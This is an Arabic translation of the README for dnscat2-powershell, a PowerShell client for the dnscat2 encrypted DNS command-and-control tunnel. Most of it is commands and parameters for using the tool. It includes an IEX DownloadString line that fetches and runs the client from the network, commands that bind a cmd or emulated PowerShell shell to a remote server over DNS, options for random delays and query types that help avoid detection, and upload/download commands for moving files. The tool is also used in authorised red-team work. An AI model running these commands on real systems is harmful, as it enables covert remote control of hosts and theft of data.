
عميل Powershell لـ dnscat2، أداة تحكم وأوامر DNS مشفرة.
dnscat2 هي أداة قناة انتحال DNS من @iagox86 (Ron Bowes) تُستخدم لنقل البيانات عبر طلبات DNS.
هذه نسخة PowerShell من عميل dnscat2 C.
انقر هنا للحصول على مقالة مدونة تقدم شرحًا أكثر تفصيلاً عن الغرض من هذا السكريبت وكيفية استخدامه.
لاستخدام هذا السكريبت، ستحتاج إلى خادم dnscat2 بلغة Ruby. تأكد من إضافة خيار --no-cache عند تشغيل الخادم. هذا العميل غير متوافق مع التخزين المؤقت للخادم.
أولاً، قم بتثبيت خادم dnscat2. ابدأ الخادم مع تعطيل التخزين المؤقت باستخدام --no-cache. يجب أن يكون الأمر لبدء الخادم مشابهًا لهذا: ruby dnscat2.rb --dns="domain=example.com" --no-cache
بعد ذلك، قم بتشغيل Windows PowerShell (الإصدار 2.0 أو أحدث). يمكنك استخدام هذا الأمر لتحميل دوال dnscat2 الخاصة بـ PowerShell:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 هي الدالة الفعلية المستخدمة كعميل. حدد خادم dnscat2 باستخدام -Domain.
ابدأ جلسة أوامر، وأرسل طلبات DNS إلى 8.8.8.8 على المنفذ 53:
Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8
أرسل شيل cmd، وأرسل طلبات DNS إلى خادم DNS الافتراضي المُعيّن في Windows:
Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd
ابدأ جلسة وحدة تحكم. استخدم فقط طلبات CNAME وMX وAAAA:
Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console
لا تقم بتشفير الجلسة. التشفير مفعل افتراضيًا:
Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption
يمكن للعميل التعامل مع أوامر dnscat2 العادية أو النسخة الخاصة بـ PowerShell من ذلك الأمر. لاستخدام نسخة PowerShell من أمر ما، قم بتعيين معاملات محددة سيكتشفها العميل (هذه هي الأوامر التي تُشغّل من جلسة أوامر على الخادم):
ابدأ جلسة جديدة تحاكي شيل PowerShell، مثل ExecPS:
exec psh
قم برفع app.exe على الخادم كسلسلة سداسية عشرية مخزنة في متغير $app في PowerShell:
upload app.exe hex:$app
قم بتنزيل مصفوفة البايت المخزنة في متغير $app في PowerShell إلى app.exe على الخادم:
download bytes:$app app.exe
-Domain <String> النطاق المستخدم بواسطة خادم dnscat2.
-DNSServer <String> اسم المضيف أو عنوان IP لإرسال استعلامات DNS إليه. (الافتراضي: يُحدد بواسطة Windows)
-DNSPort <Int32> المنفذ لإرسال استعلامات DNS إليه. (الافتراضي: 53)
-Command بدء جلسة أوامر. (افتراضي)
-Exec <String> ربط الإدخال/الإخراج لعملية بجلسة Dnscat2.
-Console ربط إدخال/إخراج وحدة التحكم بجلسة Dnscat2.
-ExecPS محاكاة جلسة PowerShell وربط الإدخال/الإخراج بجلسة Dnscat2.
تحذير: الخروج سيقتل عميل dnscat2 بأكمله، وليس الجلسة فقط.
-PreSharedSecret تعيين نفس السر على الخادم للمصادقة ومنع هجمات الرجل في المنتصف (MITM).
-NoEncryption لا تستخدم التشفير.
-LookupTypes <String[]> تعيين مصفوفة من أنواع الاستعلام للتبديل بينها عشوائيًا.
فقط سجلات TXT وMX وCNAME وA وAAAA مدعومة. الافتراضي: @(TXT, MX, CNAME)
-Delay <Int32> تعيين تأخير بين كل طلب، بالميلي ثانية. (الافتراضي: 0)
-MaxRandomDelay <Int32> تعيين القيمة القصوى لتأخير عشوائي يُضاف إلى التأخير العادي، بالميلي ثانية. (الافتراضي: 0)
-MaxPacketSize <Int32> الحد الأقصى لطول حزمة dnscat2. (الافتراضي: 240)
-Name <String> اسم جلسة dnscat2 الخاصة بك. (الافتراضي: اسم المضيف)
يقوم dnscat2-powershell بمحاكاة جلسة PowerShell عن طريق تمرير البيانات من الخادم إلى Invoke-Expression. فقط stdout يُعاد، ويتم الاحتفاظ بالمتغيرات طالما أن العميل قيد التشغيل. انتبه للأشياء التي تخرج من PowerShell مثل "exit" و"break"، لأن عميل dnscat2-powershell بأكمله سيخرج، وليس فقط جلسة ExecPS.